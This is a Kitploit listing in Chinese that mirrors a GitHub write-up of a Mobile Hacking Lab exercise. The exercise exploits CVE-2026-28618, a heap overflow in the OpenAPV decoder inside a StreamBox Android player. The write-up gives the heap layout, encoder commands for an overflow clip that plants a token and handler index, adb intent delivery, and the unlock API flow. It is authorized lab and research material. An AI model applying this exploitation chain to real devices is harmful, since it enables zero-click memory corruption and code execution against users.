Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
streambox-cve-2026-28618 — 关于 CVE-2026-28618 / StreamBox APV 实验环境的脱敏笔记——通过 FRAME 高度不匹配向会话对象进行堆写入 | Kitploit
工具/GitHubGitHub/raafatabualazm/streambox-cve-2026-28618
Android安全内存取证漏洞分析漏洞利用逆向工程移动安全论文与研究学习与教育二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubraafatabualazm/streambox-cve-2026-28618

streambox-cve-2026-28618

关于 CVE-2026-28618 / StreamBox APV 实验环境的脱敏笔记——通过 FRAME 高度不匹配向会话对象进行堆写入

查看仓库
1411个月前尚未审核

零点击 APV:在自动播放共享片段的播放器中触发

StreamBox 中的 CVE-2026-28618 —— 与 CVE-2026-0006 相同的 OpenAPV 解码器类,被转化为针对会话对象的堆写入。

本仓库是一份公开的、经过脱敏的漏洞分析报告:flag、实例令牌和 HMAC 密钥均已省略。APK 和 make_clip.py 归 Mobile Hacking Lab 所有;此处不提供镜像。

攻击链

我们解决了什么

StreamBox 是一个小型 APV 播放器。APV 即 Advanced Professional Video(RFC 9924),是三星的免版税编解码器,与 Android 媒体栈中搭载的属于同一家族。该实验的设定只有一句话:播放器在收到共享片段时即自动播放。

SEND、VIEW 或 streambox://play?url=… 会将文件复制到 files/incoming.apv,并运行 NativeDec.loadClip()。

该漏洞是 CVE-2026-28618:OpenAPV 的 dec_frm_prepare 中存在堆缓冲区溢出。与 CVE-2026-0006 属于同一解码器类。

该实验将这一写入包装成一个游戏。溢出硬编码的 64×64 Y 平面,破坏相邻的会话对象,将析构重定向到 handlers[2],随后 Worker 便交回 flag。

工具包是来自该实验的两个 zip 文件:

  • streambox-lab.apk.zip —— 播放器
  • make_clip.py.zip —— 64×64 库片段是如何构建的,以及你用来溢出的比特流

播放器(Android 14 x86_64 AVD + ndk_translation)

Android Studio 的 ARM64 系统镜像 QEMU 在 x86-64 主机上并不合适。此 APK 为 arm64-v8a / minSdk 34。带有 libndk_translation.so(abilist=x86_64,arm64-v8a)的 x86_64 API 34 AVD 可以安装并运行它。

AVD 上的 StreamBox 库

Sunset Drive 正在播放,64×64,loadClip → 0

PlayerActivity 执行:

NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);   // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity

loadClip 返回 1(premium / session smash)或 2(win() 已执行)。openTier 仅用于导航 UI。

POST /api/unlock
{
  "instance_id": <from POST /api/instance>,
  "tier": 3,
  "session_hex": hex(sessionProof[64]),
  "ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}

启动时,应用已经执行了 POST /api/instance 和 NativeDec.setPlatinumToken(token)。溢出需要写入会话的正是这个 token。

堆:64×64 Y 平面,然后是会话

0x2000 字节的 Y 平面,紧随其后的是会话对象,额外的 FRAME 行溢出到 magic/token/handler

arena   = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F;  /* bytes: "OBMAERTS" */

oapv_imgb_t 被硬编码为 64×64、10 位 YUV。平面 0(Y)从 arena+0 开始。64 × 64 × 2 = 0x2000。会话位于 arena + 0x2000 + pad。pad 为 SB_SESS_PAD,或为 srand(getpid()^time()) 之后 rand() 的 0x400 对齐半字节。在 AVD 上,Sunset Drive 记录到 session-arena = 0x3800(pad = 0x1800)。额外的 64×128 瓦片为 0x2000 字节,因此对于这些 pad 值,它仍能到达会话。

oapvd_decode() 按 FRAME PBU 的宽度/高度写入。高于 64 的 FRAME 会将 10 位样本直接写入 session。

解码之后:

if (session->token == g_token) {        /* +0x08 */
    if (session->handler <= 2)          /* +0x0c */
        g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
    g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

sessionProof 布局:smash magic、匹配 token、handler 索引 2

make_clip.py 是裁剪路径

该实验的生成器绘制 32 帧 64×64 RGB 图像,转换为 yuv422p10le,并调用 OpenAPV 参考编码器:

oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1

每个捆绑的片段都是 32 个 64×64 帧的访问单元:

[u32be au_size] ['aPv1' + PBUs] × 32

播放器分配 64×64。APV 瓦片为 64×64。

qemu-user(qemu-aarch64 + Android 10 linker64)与 AVD 结果一致:

片段qemu-user streambox_loadAVD loadClip
64×64 库片段00(premium_hit=0)
头部高度 64→72SIGABRT oapvd_vlc_ac_coefSIGABRT,相同断言,进程终止(崩溃后主界面)
真实 64×128 编码(两个瓦片,QP 0)11 premium_hit=1 → SESSION ANOMALY
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

64×128 共享片段:会话异常(溢出到达会话,令牌不匹配)

第二次编码,针对编码器重建进行闭环,植入实时 access token 和处理程序 2(输入 Y≈4 重建为 2)。将该 16 字节前缀在 64×128 的 Y 平面上重复,这样填充就不重要了。

# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

在 AVD 上:

gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

SESSION COMPROMISED — 标志已打码;Worker 从被破坏的 sessionProof 中将其释放

win() 在 loadClip 内部执行。openTier(2) 只打开了 PremiumActivity,而它 POST 了该证明。

qemu-user 的配置(不是 Android Studio 的 ARM64 模拟器):参见 encode_overflow.py 中的注释以及实验环境 qemu-harness/README.md。

父类漏洞的相关公开 PoC:mobilehackinglab/CVE-2026-0006-openapv-poc。

证明写入

Python urllib 会收到 Cloudflare 1010。使用移动端 UA 的 curl 可以正常工作。

Worker 会以 no overflow evidence: session magic intact 拒绝原始 magic。ASCII STREAMBO(与 LE uint64 的字节不同)会被视为一次写入。

打码解锁:POST /api/instance 然后 POST /api/unlock 返回 MHL{REDACTED}

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py

状态 2 的 PremiumActivity 是会话被入侵时的 UI。状态 1 是 SESSION ANOMALY(上方为设备截图)。screenshots/06-session-compromised.png 中的金色“SESSION COMPROMISED”边框是该 UI 的 HTML 示意图,并非 AVD 截图。

链接

  • 本仓库:辅助脚本 + 示意图
  • Android 安全公告 — 2026 年 9 月(CVE-2026-28618、A-492492028、Media Codecs)
  • CVE-2026-0006 分析文章 — Mobile Hacking Lab
  • CVE-2026-0006 PoC
  • OpenAPV(Academy Software Foundation)
  • AOSP 补丁 — dec_frm_prepare 中的尺寸校验

免责声明

本文为 Mobile Hacking Lab 的 StreamBox 练习所编写的授权实验笔记。不包含 APK、不包含有效令牌、不包含 flag。请勿将这些原语用于任何你未拥有或未获授权测试的目标。

下载工具